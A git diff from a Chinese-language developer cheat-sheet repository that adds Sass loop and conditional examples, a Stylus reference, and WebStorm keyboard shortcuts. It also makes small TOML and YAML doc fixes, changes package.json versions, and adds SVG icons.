+`extend-selector-pseudoclass` [#](https://sass-lang.com/documentation/modules/meta#feature-exists) | 这意味着 `@extend` 规则将影响嵌套在伪类中的选择器，如 `:not()`
+`units-level-3` [#](https://sass-lang.com/documentation/modules/meta#feature-exists) | 这意味着单位算术支持在 CSS 值和单位级别 3 中定义的单位
+`at-error` [#](https://sass-lang.com/documentation/modules/meta#feature-exists) | 这意味着支持 `@error` 规则
+`custom-property` [#](https://sass-lang.com/documentation/modules/meta#feature-exists) | 这意味着自定义属性声明值不支持除插值之外的任何表达式
+<!--rehype:className=style-list-arrow-->
+
+Sass 循环
+--------
+
+### For 循环
+
+```scss
+$base-color: #036;
+
+@for $i from 1 through 3 {
+  ul:nth-child(3n + #{$i}) {
+    background-color: lighten($base-color, $i * 5%);
+  }
+}
+```
+
+编译 css 为：
+
+```css
+ul:nth-child(3n + 1) {
+  background-color: #004080;
+}
+
+ul:nth-child(3n + 2) {
+  background-color: #004d99;
+}
+
+ul:nth-child(3n + 3) {
+  background-color: #0059b3;
+}
+```
+
+### Each 循环（简单）
+
+```scss
+$sizes: 40px, 50px;
+
+@each $size in $sizes {
+  .icon-#{$size} {
+    font-size: $size;
+    height: $size;
+  }
+}
+```
+
+编译 css 为：
+
+```css
+.icon-40px {
+  font-size: 40px;
+  height: 40px;
+}
+
+.icon-50px {
+  font-size: 50px;
+  height: 50px;
+}
+```
+
+### Each 循环（嵌套）
+
+```scss
+$icons: ("eye": "\f112", "start": "\f12e");
+
+@each $name, $glyph in $icons {
+  .icon-#{$name}:before {
+    display: inline-block;
+    font-family: "Icon Font";
+    content: $glyph;
+  }
+}
+```
+
+编译 css 为：
+
+```css
+.icon-eye:before {
+  display: inline-block;
+  font-family: "Icon Font";
+  content: "";
+}
+.icon-start:before {
+  display: inline-block;
+  font-family: "Icon Font";
+  content: "";
+}
+```
+
+### While 循环
+<!--rehype:wrap-class=col-span-2-->
+
+```scss
+@use "sass:math";
+
+/// 将 `$value` 除以 `$ratio` 直到它低于 `$base`
+@function scale-below($value, $base, $ratio: 1.618) {
+  @while $value > $base {
+    $value: math.div($value, $ratio);
+  }
+  @return $value;
+}
+
+$normal-font-size: 16px;
+sup {
+  font-size: scale-below(20px, 16px);
+}
+```
+
+编译 css 为：
+
+```css
+sup {
+  font-size: 12.36094px;
+}
+```
+
+Sass 其它功能
+--------
+
+### 条件句
+<!--rehype:wrap-class=row-span-2-->
+
+```scss
+@mixin avatar($size, $circle: false) {
+  width: $size;
+  height: $size;
+
+  @if $circle {
+    border-radius: $size / 2;
+  }
+}
+
+.square-av {
+  @include avatar(100px, $circle: false);
+}
+.circle-av {
+  @include avatar(100px, $circle: true);
+}
+```
+
+编译 css 为：
+
+```css
+.square-av {
+  width: 100px;
+  height: 100px;
+}
+
+.circle-av {
+  width: 100px;
+  height: 100px;
+  border-radius: 50px;
+}
+```
+
+### 插值
+
+```scss
+.#{$klass} { ... }      // Class
+call($function-name)    // Functions
+@media #{$tablet}
+font: #{$size}/#{$line-height}
+url("#{$background}.jpg")
+```
+
+### 列表
+
+```scss
+$list: (a b c);
+nth($list, 1)  // starts with 1
+length($list)
+@each $item in $list { ... }
+```
+
+### Maps
+<!--rehype:wrap-class=col-span-2-->
+
+```scss
+$map: (key1: value1, key2: value2, key3: value3);
+map-get($map, key1)
+```
+
+另见
+----
+
+- [Sass 官方文档](https://sass-lang.com/documentation) _(sass-lang.com)_
+- [Sass 中文文档](https://www.sass.hk/docs/) _(sass.hk)_

docs/stylus.md

@@ -0,0 +1,557 @@
+Stylus 备忘清单
+===
+
+本备忘单旨在快速理解 [stylus](https://github.com/stylus/stylus) 所涉及的主要概念，显示了它的常用方法使用清单。
+
+入门
+---
+
+### 介绍
+<!--rehype:wrap-class=row-span-2-->
+
+为 Node.js 构建的富有表现力、健壮、功能丰富的 [CSS](./css.md) 语言
+
+- [CSS 备忘清单](./css.md) _(jaywcjlove.github.io)_
+- [在线编译预览](https://stylus-lang.com/try.html) _(stylus-lang.com)_
+
+```bash
+# npm
+$ npm install stylus -g
+# pnpm
+$ pnpm add -g stylus
+```
+
+在 Node.js 环境中使用 `stylus`
+
+```bash
+$ stylus one.styl two.styl
+# stylus 从标准输入读取并输出到标准输出
+$ stylus --compress < some.styl > some.css
+# 将 css 目录中的文件编译输出到 `public/css`
+$ stylus css --out public/css
+```
+
+转换 CSS，输出 `*.styl` 文件
+
+```
+$ stylus --css < test.css > test.styl
+$ stylus --css test.css /tmp/out.styl
+```
+
+### 支持 CSS 嵌套语法
+
+```stylus
+.box {
+  color: blue;
+  .button {
+    color: red;
+  }
+}
+```
+
+Stylus 是一个 CSS 预处理器。另见: [stylus-lang.com](http://stylus-lang.com/)
+
+### 支持类 python 缩进语法
+
+```stylus
+.box
+  color: blue
+  .button
+    color: red
+```
+
+也有效！冒号也是可选的。这通常用于 Stylus 文档的语法
+
+### 混合 Mixins
+
+```stylus
+caps-type()
+  letter-spacing: 0.05em
+```
+
+----
+
+```stylus {2}
+h5
+  caps-type()
+```
+
+编译 css 为：
+
+```css
+h5 {
+  letter-spacing: 0.05em;
+}
+```
+
+另见：下面[Mixins](#混合-Mixins)
+
+### 变量 Variables
+
+```stylus
+royal-blue = #36a
+```
+
+----
+
+```stylus
+div
+  color: royal-blue
+```
+
+标识符（变量名、函数等）也可以包括 `$` 字符
+
+```stylus
+$font-size = 14px
+body {
+  font: $font-size sans-serif;
+}
+```
+
+另见：[变量 Variables](https://stylus-lang.com/docs/variables.html)
+
+混合 Mixins
+------
+
+### 没有参数
+
+```stylus {1}
+red-border()
+  border: solid 2px red
+```
+
+----
+
+```stylus {2}
+div
+  red-border()
+```
+
+另见: [Mixins](http://stylus-lang.com/docs/mixins.html)
+
+### 有参数
+
+```stylus {1}
+border-radius(n)
+  -webkit-border-radius: n
+  border-radius: n
+```
+
+----
+
+```stylus {2,3}
+div
+  border-radius: 2px
+  border-radius(2px)
+```
+
+Mixins can be applied in two different ways.
+
+### 参数默认值
+
+```stylus {1}
+border-radius(n = 2px)
+  -webkit-border-radius: n
+```
+
+### 块混合
+
+```stylus {3}
+mobile()
+  @media (max-width: 480px)
+    {block}
+```
+
+----
+
+```stylus {1}
++mobile()
+  width: 10px
+```
+
+另见: [块混合](http://stylus-lang.com/docs/mixins.html#block-mixins)
+
+### Rest 参数
+
+```stylus {1}
+shadow(offset-x, args...)
+  box-shadow: offset-x args
+  margin-top: offset-x
+```
+
+----
+
+```stylus
+#login
+  shadow: 1px 2px 5px #eee
+```
+
+另见: [Rest 参数](http://stylus-lang.com/docs/vargs.html)
+
+函数 Functions
+---------
+
+### 函数 Functions
+
+```stylus {1}
+add(a, b)
+  a + b
+```
+
+----
+
+```stylus {2}
+body
+  padding: add(10px, 5)
+```
+
+另见: [Functions](http://stylus-lang.com/docs/functions.html)
+
+### 参数默认值
+
+```stylus {1}
+add(a, b = 2)
+  a + b
+```
+
+另见: [参数默认值](http://stylus-lang.com/docs/functions.html#argument-defaults)
+
+### 命名参数
+
+```stylus
+shadow(x, y)
+  x y (y * 1.5) #000
+```
+
+----
+
+```stylus {2}
+.button
+  box-shadow: shadow(x: 2, y: 4)
+```
+
+另见: [命名参数](http://stylus-lang.com/docs/functions.html#named-parameters)
+
+### 多个返回值
+
+```stylus {2}
+sizes()
+  8px 16px
+```
+
+----
+
+```stylus
+sizes()[0]  // → 8px
+sizes()[1]  // → 16px
+```
+
+另见: [多个返回值](http://stylus-lang.com/docs/functions.html#multiple-return-values)
+
+### arguments
+
+```stylus
+sum()
+  n = 0
+  for num in arguments
+    n = n + num
+```
+
+----
+
+```stylus
+sum(1,2,3,4,5) // => 15
+```
+
+参数 local 可用于所有函数体，并包含所有传递的参数
+
+### hash 示例
+
+```stylus
+get(hash, key)
+  return pair[1] if pair[0] == key for pair in hash
+
+hash = (one 1) (two 2) (three 3)
+
+get(hash, two)
+// => 2
+```
+<!--rehype:className=wrap-text -->
+
+值 Values
+------
+
+### 条件赋值
+
+```stylus {2}
+royal-blue = #36a
+royal-blue ?= #89f
+```
+
+----
+
+```stylus
+div
+  color: royal-blue  // #36a
+```
+
+`?=` 只会在之前未设置的情况下设置变量
+
+另见: [条件赋值](https://stylus-lang.com/docs/operators.html#conditional-assignment--)
+
+### 属性查找
+
+```stylus {2,3}
+.logo
+  width: w = 150
+  margin-left: -(w / 2)
+  // or
+  height: 80px
+  margin-top: -(@height / 2)
+```
+
+另见: [属性查找](https://stylus-lang.com/docs/variables.html#property-lookup)
+
+### 插值
+
+```stylus
+-{prefix}-border-radius: 2px
+```
+
+另见: [Interpolation](https://stylus-lang.com/docs/interpolation.html)
+
+### Color operators
+
+```stylus
+#888 + 50%    // → #c3c3c3 (lighten)
+#888 - 50%    // → #444 (darken)
+#f00 + 50deg  // → #ffd500 (hue)
+```
+
+### Casting
+
+```stylus
+n = 5px
+```
+
+----
+
+```stylus {1,2}
+foo: (n)em
+foo: (n * 5)%
+```
+
+### Lookup
+
+```stylus {3}
+light-blue = #3bd
+name = 'blue'
+lookup('light-' + name)
+```
+
+另见: [lookup](https://stylus-lang.com/docs/bifs.html#lookupname)
+
+高级功能
+-----------------
+
+### 有条件的
+<!--rehype:wrap-class=row-span-2-->
+
+```stylus
+if color == blue
+  display: block
+else if true and true
+  display: inline
+else if 'hey' is not 'bye'
+  display: flex
+else
+  display: none
+```
+
+别名:
+
+:- | :-
+:- | :-
+| `==` | `is` |
+| `!=` | `is not` |
+| `!=` | `isnt` |
+
+另见: [Conditionals](https://stylus-lang.com/docs/functions.html#conditionals)
+
+### 对于循环
+
+```stylus {5}
+font-size-1 = 10px
+font-size-2 = 20px
+font-size-3 = 30px
+for i in 1..3
+  .text-{i}
+    font-size: lookup('font-size-' + i)
+```
+### 定义检查
+
+```stylus {1}
+if ohnoes is defined
+  color: blue
+```
+
+另见: [is defined](https://stylus-lang.com/docs/operators.html#variable-definition-is-defined)
+
+### False 值
+
+```stylus
+0
+null
+false
+''
+```
+
+### 类型检查
+
+```stylus
+if val is a 'string'
+if val is a 'ident'
+if #fff is a 'rgba'    // → true
+```
+
+另见: [Instance check](https://stylus-lang.com/docs/operators.html#instance-check-is-a)
+
+内置函数
+------------------
+
+### 颜色函数
+<!--rehype:wrap-class=row-span-4-->
+
+```stylus
+alpha(#fff)   //→ 1
+alpha(rgba(0, 0, 0, 0.2))   //→ 0.2
+```
+
+----
+
+```stylus
+dark(black)  //→ true
+light(black) //→ false
+```
+
+----
+
+```stylus
+hue(#0a0)         //→ 50deg
+saturation(#f00)  //→ 100%
+lightness(#f00)   //→ 50%
+luminosity(#f00)  //→ 0.2126
+```
+
+----
+
+```stylus
+hue(#0a0, 0deg)
+saturation(#f00, 50%)
+lightness(#f00)
+```
+
+----
+
+```stylus
+lighten(color, 10%)
+darken(color, 10%)
+saturate(color, 10%)
+desaturate(color, 10%)
+invert(color)
+```
+
+----
+
+```stylus
+tint(color, 50%)  // mix with white
+shade(color, 50%) // mix with black
+```
+
+----
+
+```stylus
+unquote(string)
+```
+
+另见: [Built-in functions](http://stylus-lang.com/docs/bifs.html)
+
+### 图片尺寸
+
+返回给定图像的宽度和高度
+
+```stylus
+width:  image-size('tux.png')[0]
+height: image-size('tux.png')[1]
+```
+
+另见: [image-size](http://stylus-lang.com/docs/bifs.html#image-sizepath)
+
+### 缓存 Caching
+<!--rehype:wrap-class=row-span-2-->
+
+```stylus
+size($width)
+  +cache('w' + $width)
+    width: $width
+.a { size: 10px }
+.b { size: 10px }
+```
+
+----
+
+```stylus
+// 输出: .a, b { width: 10px }
+```
+
+在第一次调用时将其内容应用于给定的选择器，但会在第二次调用时使用相同的参数 `@extend` 第一次调用的选择器。另见: [cache](http://stylus-lang.com/docs/bifs.html#cachekeys)
+
+### Embed URL
+
+```
+background: embedurl('logo.png')
+// → background: url("data:image/png;base64,…")
+```
+<!--rehype:className=wrap-text -->
+
+另见: [embedurl](http://stylus-lang.com/docs/bifs.html#embedurlpath-encoding)
+
+### 添加属性
+
+```stylus
+gradient(color)
+  add-property('background-image', linear-gradient(top, color, darken(color, 20%)))
+  color
+```
+
+----
+
+```stylus
+body
+  background: gradient(red)
+```
+
+另见: [add-property](http://stylus-lang.com/docs/bifs.html#add-propertyname-expr)
+
+### sprintf
+
+```stylus
+'-webkit-gradient(%s, %s, %s)' % (linear (0 0) (0 100%))
+// → -webkit-gradient(linear, 0 0, 0 100%)
+```
+<!--rehype:className=wrap-text -->
+
+----
+
+```stylus
+s("rgba(0, 0, 0, %s)", 0.3)
+```
+
+另见: [s](http://stylus-lang.com/docs/bifs.html#sfmt-)
+
+另见
+---
+
+- [CSS 备忘清单](./css.md) _(jaywcjlove.github.io)_
+- [在线编译预览](https://stylus-lang.com/try.html) _(stylus-lang.com)_
+- [Less.js 备忘清单](./lessjs.md) _(jaywcjlove.github.io)_

docs/toml.md

@@ -12,6 +12,7 @@ TOML 备忘清单
 
 - [Document](https://toml.io/en/latest) _(toml.io)_
 - [Learn X in Y minutes](https://learnxinyminutes.com/docs/toml/) _(learnxinyminutes.com)_
+- [Better TOML VSCode 插件](https://marketplace.visualstudio.com/items?itemName=bungcip.better-toml) _(visualstudio.com)_
 
 ### 示例
 
@@ -253,4 +254,15 @@ bat = "hi"
 name = { first = "Tom", last = "Preston-Werner" }
 point = { x = 1, y = 2 }
 animal = { type.name = "pug" }
-```
+```
+
+另见
+---
+
+- [Document](https://toml.io/en/latest) _(toml.io)_
+- [Learn X in Y minutes](https://learnxinyminutes.com/docs/toml/) _(learnxinyminutes.com)_
+- [Better TOML VSCode 插件](https://marketplace.visualstudio.com/items?itemName=bungcip.better-toml) _(visualstudio.com)_
+
+
+- [INI 格式配置文件备忘清单](./ini.md) _(jaywcjlove.github.io)_
+- [YAML 格式配置文件备忘清单](./yaml.md) _(jaywcjlove.github.io)_

docs/webstorm.md

@@ -0,0 +1,191 @@
+WebStorm 备忘清单
+===
+
+此快速参考备忘单列出了在 Windows/Linux 或 Mac 上运行的 [WebStorm](https://www.jetbrains.com/webstorm/) 的默认键盘快捷键
+
+Webstorm Windows & Linux 键盘映射
+--------
+
+### 编辑
+<!--rehype:wrap-class=row-span-5-->
+
+快捷键 | 说明
+:-|:-
+`Ctrl` `Space`| 基本代码完成
+`Alt` `Enter`| 显示意图操作，快速修复
+`Ctrl` `P`| 参数信息
+`Ctrl` `Q`| 快速文档查找
+`Ctrl` `mouse over`| 简要信息
+`Ctrl` `F1`| 插入符号处的错误或警告
+`Alt` `Insert`| 生成代码...
+`Ctrl` `Alt` `T`| 环绕...
+`Ctrl` `J`| 插入实时模板
+`Ctrl` `/`| 用行注释/取消注释
+`Ctrl` `Shift` `/`| 用块评论/取消评论
+`Ctrl` `W`| 选择连续增加的代码块
+`Ctrl` `Shift` `W`| 将当前选择减少到以前的状态
+`Alt+Q`| 上下文信息
+`Ctrl` `Alt` `L`| 重新格式化代码
+`Ctrl` `Alt` `I`| 自动缩进行
+`Tab`| 缩进选定的行
+`Shift` `Tab`| 取消缩进选定的行
+`Ctrl` `Shift` `V`| 从最近的缓冲区粘贴...
+`Ctrl` `D`| 复制当前行或选定块
+`Ctrl` `Y`| 删除插入符号处的行
+`Alt` `Shift` `Up`| 向上移动队列
+`Alt` `Shift` `Down`| 下移线
+`Ctrl` `Shift` `J`| 连接线
+`Ctrl` `Enter`| 分割线
+`Shift` `Enter`| 开始新行
+`Ctrl` `Shift` `U`| 在插入符号或选定块中切换单词的大小写
+`Ctrl` `Shift` `]`| 选择直到代码块结束
+`Ctrl` `Shift` `[`| 选择直到代码块开始
+`Ctrl` `Delete`| 删除到词尾
+`Ctrl` `Backspace`| 删除到单词开头
+`Ctrl` `+`| 展开代码块
+`Ctrl` `-`| 折叠代码块
+`Ctrl` `Shift` `+`| 展开全部
+`Ctrl` `Shift` `-`| 全部收缩
+`Ctrl` `F4`| 关闭活动编辑器选项卡
+<!--rehype:className=shortcuts-->
+
+### 一般的
+
+快捷键 | 说明
+:-|:-
+`Double Shift`| 到处搜索
+`Ctrl` `Shift` `A`| 寻找行动
+`Alt` `0...9`| 打开相应的工具窗口
+`Ctrl` `Shift` `F12`| 切换最大化编辑器
+`Alt` `Shift` `F`| 添加到收藏夹
+`Alt` `Shift` `I`| 检查当前文件
+`Ctrl` <kbd>\`</kbd>| 快速切换电流方案
+`Ctrl` `Alt` `S`| 打开设置对话框
+`Ctrl` `Tab`| 在工具和选项卡之间切换
+<!--rehype:className=shortcuts-->
+
+### 导航
+<!--rehype:wrap-class=row-span-4-->
+
+快捷键 | 说明
+:-|:-
+`Ctrl` `B` _\|_ `Ctrl + Click` | 前往 declaration
+`Ctrl` `N` | 前往 class
+`Ctrl` `Shift` `N` | 转到文件
+`Ctrl` `Alt` `Shift` `N` | 转到符号
+`Alt` `Right` | 转到下一个编辑器选项卡
+`Alt` `Left` | 转到上一个编辑器选项卡
+`F12` | 返回上一个工具窗口
+`Esc` | 转到编辑器
+`Ctrl` `G` | 去行
+`Ctrl` `E` | 最近的文件弹出
+`Ctrl` `Alt` `Right` | 向前导航
+`Ctrl` `Alt` `Left` | 向后导航
+`Ctrl` `Shift` `Backspace` | 导航到最后一个编辑位置
+`Alt` `F1` | 在任何视图中选择当前文件或符号
+`Ctrl` `Alt` `B` | 转到实施
+`Ctrl` `Shift` `I` | 打开快速定义查找
+`Ctrl` `Shift` `B` | 转到类型声明
+`Ctrl` `U` | 转到超方法/超类
+`Alt` `Up` | 转到上一个方法
+`Alt` `Down` | 转到下一个方法
+`Ctrl` `]` _/_ `[` | 移动到代码块结束/开始
+`Cltrl` `Shift` `M` | 将插入符号移动到匹配的大括号
+`Ctrl` `F12` | 文件结构弹出
+`Ctrl` `H` | 类型层次结构
+`Ctrl` `Alt` `H` | 调用层次结构
+`F2` _/_ `Shift` `F2` | 下/上一个突出显示的错误
+`F4` _/_ `Ctrl` `Enter` | 跳转到源
+`Alt` `Home` | 跳转到导航栏
+`F11` | 切换书签
+`Ctrl` `Shift` `F11` | 使用助记符切换书签
+`Ctrl` `0...9` | 转到编号的书签
+`Shift` `F11` | 显示书签
+<!--rehype:className=shortcuts-->
+
+### 多个插入符号和选择
+
+快捷键 | 说明
+:-|:-
+`Alt` `Click`| 添加或删除插入符号
+`Shift` `Ctrl + Alt-J`| 选择所有出现
+`Alt` `J`| 选择下一个出现
+`Alt` `Shift` `J`| 取消选择事件
+`Esc`| 取消选择所有出现或插入符号
+<!--rehype:className=shortcuts-->
+
+### 调试
+
+快捷键 | 说明
+:-|:-
+`F8`| 跨过去
+`F7`| 踏入
+`Shift` `F7`| 智能步入
+`Shift` `F8`| 走出去
+`Alt` `F9`| 运行到光标
+`Alt` `F8`| 评估表达式
+`F9`| 简历计划
+`Ctrl` `F8`| 切换断点
+`Ctrl` `Shift` `F8`| 查看断点
+<!--rehype:className=shortcuts-->
+
+### 运行
+
+快捷键 | 说明
+:-|:-
+`Alt` `Shift` `F10`| 选择配置并运行
+`Alt` `Shift` `F9`| 选择配置和调试
+`Shift` `F10`| 运行
+`Shift` `F9`| 调试
+`Ctrl` `Shift` `F10`| 从编辑器运行上下文配置
+`Alt` `Shift` `R`| 重新运行测试
+`Alt` `F11`| 运行 Gulp/Grunt/npm 任务
+<!--rehype:className=shortcuts-->
+
+### 使用搜索
+
+快捷键 | 说明
+:-|:-
+`Alt` `F7`| 查找用法
+`Ctrl` `F7`| 在文件中查找用法
+`Ctrl` `Shift` `F7`| 突出显示文件中的用法
+`Ctrl` `Alt` `F7`| 显示用法
+<!--rehype:className=shortcuts-->
+
+### VCS/本地历史
+
+快捷键 | 说明
+:-|:-
+`Alt` <kbd>\`</kbd>| VCS 快速弹出窗口
+`Ctrl` `K`| 将项目提交到 VCS
+`Ctrl` `T`| 从 VCS 更新项目
+`Alt` `Shift` `C`| 查看最近的更改
+<!--rehype:className=shortcuts-->
+
+### 搜索/替换
+
+快捷键 | 说明
+:-|:-
+`Ctrl` `F`| 寻找
+`F3`| 找下一个
+`Shift` `F3`| 查找上一个
+`Ctrl` `Shift` `F`| 在路径中查找
+`Ctrl` `R`| 代替
+`Ctrl` `Shift` `R`| 在路径中替换
+<!--rehype:className=shortcuts-->
+
+### 重构
+
+快捷键 | 说明
+:-|:-
+`Ctrl` `Alt` `Shift +T`| 重构这个
+`F5` _/_ `F6`| 复制/移动
+`Alt` `Delete`| 安全删除
+`Shift` `F6`| 改名
+`Ctrl` `F6`| 更改函数签名
+`Ctrl` `Alt` `N`| 内联变量
+`Ctrl` `Alt` `M`| 提取方法
+`Ctrl` `Alt` `V`| 提取变量
+`Ctrl` `Alt` `C`| 提取常数
+`Ctrl` `Alt` `P`| 提取参数
+<!--rehype:className=shortcuts-->

docs/yaml.md

@@ -426,9 +426,9 @@ YAML 参考
 `"`   | 环绕内嵌转义标量
 `|`   | 块标量指示器
 `>`   | 折叠标量指示器
-`-`   | 剥离 chomp 修饰符（`|-` 或 `>-`）
-`+`   | 保留 chomp 修饰符（`|+` 或 `>+`）
-`1-9` | 显式缩进修饰符（`|1` 或 `>2`）。 <br/> 修饰符可以组合（`|2-`, `>+1`）
+`-`   | 剥离 chomp 修饰符（`\|-` 或 `>-`）
+`+`   | 保留 chomp 修饰符（`\|+` 或 `>+`）
+`1-9` | 显式缩进修饰符（`\|1` 或 `>2`）。 <br/> 修饰符可以组合（`\|2-`, `>+1`）
 
 ### 标签属性（通常未指定）
 <!--rehype:wrap-class=col-span-2-->
@@ -441,6 +441,7 @@ YAML 参考
 `!!foo`  | 次要的（按照惯例，表示 `tag:yaml.org,2002:foo`）
 `!h!foo` | 需要 `%TAG !h! <prefix>`（然后表示 `<prefix>foo`）
 `!<foo>` | 逐字标记（始终表示“foo”）
+<!--rehype:class=auto-wrap-->
 
 ### 杂项指标
 
@@ -515,10 +516,13 @@ YAML 参考
 | `[.inf, -.Inf, .NAN]`     | [无穷大（浮点数），负数，不是数字] |
 | `{Y, true, Yes, ON}`      | 布尔真 |
 | `{n, FALSE, No, off}`     | 布尔假 |
+<!--rehype:class=auto-wrap-->
 
 另见
 ---
 
 - [YAML Reference Card](https://yaml.org/refcard.html) _(yaml.org)_
 - [Learn X in Y minutes](https://learnxinyminutes.com/docs/yaml/) _(learnxinyminutes.com)_
-- [YAML lint online](http://www.yamllint.com/) _(yamllint.com)_
+- [YAML lint online](http://www.yamllint.com/) _(yamllint.com)_
+- [INI 格式配置文件备忘清单](./ini.md) _(jaywcjlove.github.io)_
+- [TOML 格式配置文件备忘清单](./toml.md) _(jaywcjlove.github.io)_

package.json

@@ -1,6 +1,6 @@
 {
   "name": "@wcj/reference",
-  "version": "1.4.0",
+  "version": "1.10.0",
   "description": "为开发人员分享快速参考备忘单(主要是方便自己)。",
   "author": "jaywcjlove",
   "license": "MIT",
@@ -12,14 +12,14 @@
   },
   "repository": {
     "type": "git",
-    "url": "git+https://github.com/jaywcjlove/reference.git"
+    "url": "https://github.com/jaywcjlove/reference.git"
   },
   "bugs": {
     "url": "https://github.com/jaywcjlove/reference/issues"
   },
   "keywords": [],
   "devDependencies": {
-    "@wcj/markdown-to-html": "^2.1.0",
+    "@wcj/markdown-to-html": "^2.1.1",
     "chokidar": "^3.5.3",
     "fs-extra": "^10.1.0",
     "recursive-readdir-files": "^2.3.0",

scripts/assets/colors-named.svg

@@ -0,0 +1,3 @@
+<svg xmlns="http://www.w3.org/2000/svg" fill="currentColor" height="1em" width="1em" viewBox="0 0 24 24">
+  <path d="M19.54 5.08A10.61 10.61 0 0 0 11.91 2a10 10 0 0 0-.05 20 2.58 2.58 0 0 0 2.53-1.89 2.52 2.52 0 0 0-.57-2.28.5.5 0 0 1 .37-.83h1.65A6.15 6.15 0 0 0 22 11.33a8.48 8.48 0 0 0-2.46-6.25Zm-12.7 9.66a1.5 1.5 0 1 1 .4-2.08 1.49 1.49 0 0 1-.4 2.08ZM8.3 9.25a1.5 1.5 0 1 1-.55-2 1.5 1.5 0 0 1 .55 2ZM11 7a1.5 1.5 0 1 1 1.5-1.5A1.5 1.5 0 0 1 11 7Zm5.75.8a1.5 1.5 0 1 1 .55-2 1.5 1.5 0 0 1-.55 2Z" style="fill:#231f20" id="color-palette-2"/>
+</svg>

scripts/assets/expressjs.svg

@@ -0,0 +1 @@
+<svg xmlns="http://www.w3.org/2000/svg" fill="currentColor" viewBox="0 0 230 230" height="1em" width="1em"><path d="M176.09375,0 C205.86535,-5.46895416e-15 230,24.1346502 230,53.90625 L230,176.09375 C230,205.86535 205.86535,230 176.09375,230 L53.90625,230 C24.1346502,230 3.64596944e-15,205.86535 0,176.09375 L0,53.90625 C-3.64596944e-15,24.1346502 24.1346502,5.46895416e-15 53.90625,0 L176.09375,0 Z M96.3915625,71.8417578 C72.1633984,52.8083594 36.9455469,65.5976172 28.3034766,96.3196875 C26.8542969,101.414727 26.205625,106.860156 25.15625,111.855469 C25.15625,114.753001 25.1735062,117.650508 25.2065625,120.547852 C25.5560547,122.146172 26.205625,123.845117 26.205625,125.543164 C27.040801,136.25108 31.3566466,146.391645 38.4944531,154.417148 C53.2945034,168.337492 75.3687421,171.159676 93.1949219,161.410586 C103.851236,155.025409 110.993734,144.108874 112.576914,131.787305 C107.831367,130.339023 105.333711,131.188047 103.784805,136.183359 C101.384533,146.161673 94.1154179,154.257423 84.4522266,157.714414 C55.1290234,167.505586 32.2,148.323047 33.4991406,116.551602 L113.426836,116.551602 C114.12582,98.7679297 110.578789,82.9823828 96.3915625,71.8417578 Z M134.6075,70.6917578 C131.648507,65.8588504 125.699893,63.7717491 120.369961,65.6964453 L156.287695,112.505039 L117.672852,164.308047 C122.86047,166.177143 128.629968,163.911928 131.160195,159.012656 C140.551562,145.274648 150.842266,132.03707 161.132969,118.249648 L164.880352,123.244961 C173.522422,135.133984 182.513984,146.773242 190.656523,158.962344 C193.339516,164.091123 199.430792,166.407513 204.84375,164.357461 C192.654648,148.072383 180.815937,132.187109 168.876602,116.35125 C167.81759,115.403944 167.212286,114.050351 167.212286,112.629473 C167.212286,111.208595 167.81759,109.855001 168.876602,108.907695 C175.370508,100.864883 181.514922,92.5723047 187.759062,84.3300391 L201.696523,65.8464844 C196.612958,63.8698897 190.855156,66.0182947 188.308906,70.8417969 C179.766562,82.9311719 170.624961,94.6207422 161.382734,106.860156 C152.191719,94.5210156 142.949492,82.8817578 134.6075,70.6917578 Z M70.8691642,70.1898981 L71.5147266,70.1940234 C90.8967188,70.3431641 105.433437,86.6785547 105.883555,109.707305 L33.5988672,109.707305 L33.5485547,109.607578 C34.4982031,85.8789453 49.9342578,69.8939453 71.5147266,70.1940234 Z"/></svg>

scripts/assets/github-actions.svg

@@ -0,0 +1,14 @@
+<svg xmlns="http://www.w3.org/2000/svg" fill="currentColor" width="1em" height="1em" viewBox="0 0 107 107">
+<g fill="none" fill-rule="evenodd" transform="translate(2.982 2.982)">
+<path stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="4.393" d="M19.7678571,0 C30.6853432,0 39.5357143,8.85037111 39.5357143,19.7678571 C39.5357143,30.6853432 30.6853432,39.5357143 19.7678571,39.5357143 C8.85037111,39.5357143 0,30.6853432 0,19.7678571 C0,8.85037111 8.85037111,0 19.7678571,0 L19.7678571,0 Z M48.3214286,39.5357143 C55.5997526,39.5357143 61.5,45.4359617 61.5,52.7142857 C61.5,59.9926097 55.5997526,65.8928571 48.3214286,65.8928571 C41.0431045,65.8928571 35.1428571,59.9926097 35.1428571,52.7142857 C35.1428571,45.4359617 41.0431045,39.5357143 48.3214286,39.5357143 Z M48.3214286,74.6785714 C55.5997526,74.6785714 61.5,80.5788188 61.5,87.8571429 C61.5,95.1354669 55.5997526,101.035714 48.3214286,101.035714 C41.0431045,101.035714 35.1428571,95.1354669 35.1428571,87.8571429 C35.1428571,80.5788188 41.0431045,74.6785714 48.3214286,74.6785714 Z"/>
+<path stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="4.393" d="M87.8571429,74.6785714 C95.1354669,74.6785714 101.035714,80.5788188 101.035714,87.8571429 C101.035714,95.1354669 95.1354669,101.035714 87.8571429,101.035714 C80.5788188,101.035714 74.6785714,95.1354669 74.6785714,87.8571429 C74.6785714,80.5788188 80.5788188,74.6785714 87.8571429,74.6785714 Z"/>
+<polyline stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="4.393" points="52.793 49.655 46.05 56.387 42.778 53.125"/>
+<g stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="4.393" transform="translate(74.679 39.536)">
+<path d="M13.1785714,0 C20.4568955,0 26.3571429,5.9002474 26.3571429,13.1785714 C26.3571429,20.4568955 20.4568955,26.3571429 13.1785714,26.3571429 C5.9002474,26.3571429 0,20.4568955 0,13.1785714 C0,5.9002474 5.9002474,0 13.1785714,0 Z"/>
+<polyline points="17.651 10.119 10.907 16.851 7.635 13.589"/></g>
+<path stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="4.393" d="M16.5456964,10.9074643 L27.7760357,17.9799643 C28.4178266,18.3833884 28.8062276,19.0892404 28.8035611,19.8472901 C28.8008672,20.6053399 28.4074847,21.3084277 27.7628571,21.7073036 L16.5325179,28.6699821 C15.8550724,29.0900649 15.0032059,29.1101448 14.3067197,28.7224479 C13.6102335,28.3347509 13.1785714,27.6001388 13.1785714,26.8030179 L13.1785714,12.7656429 C13.1785714,11.9658375 13.6135044,11.2293022 14.3137561,10.8428619 C15.0140079,10.4564216 15.8689689,10.481168 16.5456964,10.9074643 L16.5456964,10.9074643 Z M17.5714286,39.5357143 L17.5714286,72.4821429 C17.5714286,80.9735357 24.5494821,87.8571429 32.9464286,87.8571429 L35.1428571,87.8571429"/>
